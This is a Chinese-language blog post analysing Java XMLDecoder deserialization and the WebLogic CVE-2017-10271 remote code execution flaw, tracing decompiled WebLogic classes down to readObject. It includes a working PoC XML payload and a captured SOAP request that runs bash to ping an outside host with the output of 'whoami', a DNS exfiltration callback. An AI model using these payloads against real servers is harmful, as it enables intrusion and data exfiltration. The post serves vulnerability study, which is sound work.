XMLDecoder反序列化漏洞

老外的详细利用文章:http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
国内的demo:http://blog.51cto.com/duallay/1961598

poc xml文件:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</void>
</array>
<void method="start" />
</object>
</java>

读取xml文件,进行反序列化执行命令代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class xmlrce {

public static void main(String[] args) {
// TODO Auto-generated method stub
java.io.File file = new java.io.File("/Users/pirogue/IdeaProjects/weblogic/src/poc.xml");

java.beans.XMLDecoder xd = null;
try {
xd = new java.beans.XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

Object s2 = xd.readObject();
xd.close();
}

}

xmldecoder-rce

CVE-2017-10271 weblogic反序列化漏洞

WLSServletAdapter.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void handle(ServletContext var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException {
if (var2.getMethod().equals("GET") || var2.getMethod().equals("HEAD")) {
HttpMetadataPublisher var4 = (HttpMetadataPublisher)this.endpoint.getSPI(HttpMetadataPublisher.class);
if (var4 != null && var4.handleMetadataRequest(this, this.createConnection(var1, var2, var3))) {
return;
}

if (this.isOraWsdlMetadataQuery(var2.getQueryString())) {
this.publishWSDL(this.createConnection(var1, var2, var3));
return;
}
}

super.handle(var1, var2, var3);
}

WLSServletAdapter

当开启调试模式,ping时,WLSServletAdapter对请求进行接收处理,执行到super.handle(var1, var2, var3);后,跟进关键代码如下:

WorkContentServerTube.class

WorkContentServerTube.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}

Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}

return super.processRequest(var1);
}

将var3传递给readHeaderOld(var3),继续跟进readHeaderOld。
var1的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
com.sun.xml.ws.api.message.Packet@4419bacb Content: <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.7153b738c41fxxxxxxaadf9dbd46.tu4.org</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

weblogic反序列化漏洞变量值

WorkContextTube.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}

readHeaderOld.class

基础知识拓展:
ByteArrayInputStream的用法:

1
2
3
4
5
InputStream
|__ ByteArrayInputStream

OutputStream
|__ ByteArrayOutputStream

ByteArrayInputStream可以将字节数组转化为输入流。ByteArrayOutputStream可以捕获内存缓冲区的数据,转化成字节数组。

构造函数:

1
2
3
public ByteArrayInputStream(byte buf[])

public ByteArrayInputStream(byte buf[], int offset, int length)

注意它需要提供一个byte数组作为缓冲区。

我们通过idea代码窗口内可以看到各个变量在调试运行后的值,var4的值就是接收poc的xml,在
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
中,要创建WorkContextXmlInputAdapter的实例var6, 则var4.toByteArray()先转换成字节数组,传入ByteArrayInputStream转换成输入流,跟进WorkContextXmlInputAdapter,在WorkContextXmlInputAdapter.class内,WorkContextXmlInputAdapter接收输入流,并将输入流转换成XMLDecoder对象,这时如果再调用XMLDecoder的readObject()方法对其进行反序列化即可造成命令执行。其实在this.receive(var6);中,进行了多层调用最终到达readObject,下面会省略过多无关调试,记录xml反序列化相关:

下面是对WorkContextXmlInputAdapter和创建xml反序列化对象后如何执行的readObject方法造成rce的代码跟踪

WorkContextXmlInputAdapter.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package weblogic.wsee.workarea;

import java.beans.XMLDecoder;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.NotSerializableException;
import weblogic.workarea.WorkContext;
import weblogic.workarea.WorkContextInput;

public final class WorkContextXmlInputAdapter implements WorkContextInput {
private final XMLDecoder xmlDecoder;

public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1); // WorkContextXmlInputAdapter构造函数,将输入流转换成XMLDecoder反序列化对象
}

public WorkContextXmlInputAdapter(XMLDecoder var1) {
this.xmlDecoder = var1;
}

public String readASCII() throws IOException {
return (String)this.xmlDecoder.readObject();
}

public WorkContext readContext() throws IOException, ClassNotFoundException {
Class var1 = Class.forName(this.readASCII());

try {
WorkContext var2 = (WorkContext)var1.newInstance();
var2.readContext(this);
return var2;
} catch (InstantiationException var3) {
throw (IOException)(new NotSerializableException("WorkContext must have a public no-arg constructor")).initCause(var3);
} catch (IllegalAccessException var4) {
throw (IOException)(new NotSerializableException("WorkContext must have a public no-arg constructor")).initCause(var4);
}
}

public void readFully(byte[] var1) throws IOException {
byte[] var2 = (byte[])((byte[])this.xmlDecoder.readObject());
System.arraycopy(var2, 0, var1, 0, var2.length);
}

public void readFully(byte[] var1, int var2, int var3) throws IOException {
byte[] var4 = (byte[])((byte[])this.xmlDecoder.readObject());
System.arraycopy(var4, 0, var1, var2, var3);
}

public int skipBytes(int var1) throws IOException {
throw new UnsupportedOperationException();
}

public boolean readBoolean() throws IOException {
return (Boolean)this.xmlDecoder.readObject();
}

public byte readByte() throws IOException {
return (Byte)this.xmlDecoder.readObject();
}

public int readUnsignedByte() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}

public short readShort() throws IOException {
return (Short)this.xmlDecoder.readObject();
}

public int readUnsignedShort() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}

public char readChar() throws IOException {
return (Character)this.xmlDecoder.readObject();
}

public int readInt() throws IOException {
return (Integer)this.xmlDecoder.readObject();
}

public long readLong() throws IOException {
return (Long)this.xmlDecoder.readObject();
}

public float readFloat() throws IOException {
return (Float)this.xmlDecoder.readObject();
}

public double readDouble() throws IOException {
return (Double)this.xmlDecoder.readObject();
}

public String readLine() throws IOException {
return (String)this.xmlDecoder.readObject();
}

public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}

public static void main(String[] var0) throws Exception {
XMLDecoder var1 = new XMLDecoder(new FileInputStream(var0[0]));
WorkContextXmlInputAdapter var2 = new WorkContextXmlInputAdapter(var1);
System.out.println(var2.readASCII());
System.out.println(var2.readInt());
byte[] var3 = new byte[20];
var2.readFully(var3);
System.out.println(var3);
System.out.println(var2.readBoolean());
System.out.println(var2.readByte());
System.out.println(var2.readShort());
System.out.println(var2.readChar());
System.out.println(var2.readInt());
System.out.println(var2.readLong());
System.out.println(var2.readFloat());
System.out.println(var2.readDouble());
System.out.println(var2.readUTF());
System.out.println(var2.readUTF());
System.out.println(var2.readUTF());
}
}

WorkContextXmlInputAdapter->new XMLDecoder(var1)

WorkContextEntrylmpl.class

1
2
3
4
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
}

第72行,readUTF()

WorkContextXmlInputAdapter.class

第103行

1
2
3
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}

readUTF

当WorkContextEntrylmpl.class中的readUTF执行完成之后,返回反序列化的字符串,rce也执行完成!

weblogic-rce-fi

weglogic log:

1
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/logs

参考链接

  xxlegend: Weblogic XMLDecoder RCE分析
  Tomato: WebLogic WLS-WebServices组件反序列化漏洞分析
  童话:CVE-2017-3506 & 10271:Weblogic 远程代码执行漏洞分析及复现笔记
  漏洞环境:Vulhub

写在最后

由于业务发展需要对java知识栈进行学习,而本人对java的熟悉程度,仅限于大学课堂java逃课的水平,非常感谢廖新喜和Tomato的指点,包括idea远程调试docker内的weblogic、weblogic的关键目录结构和jar包、jd-gui。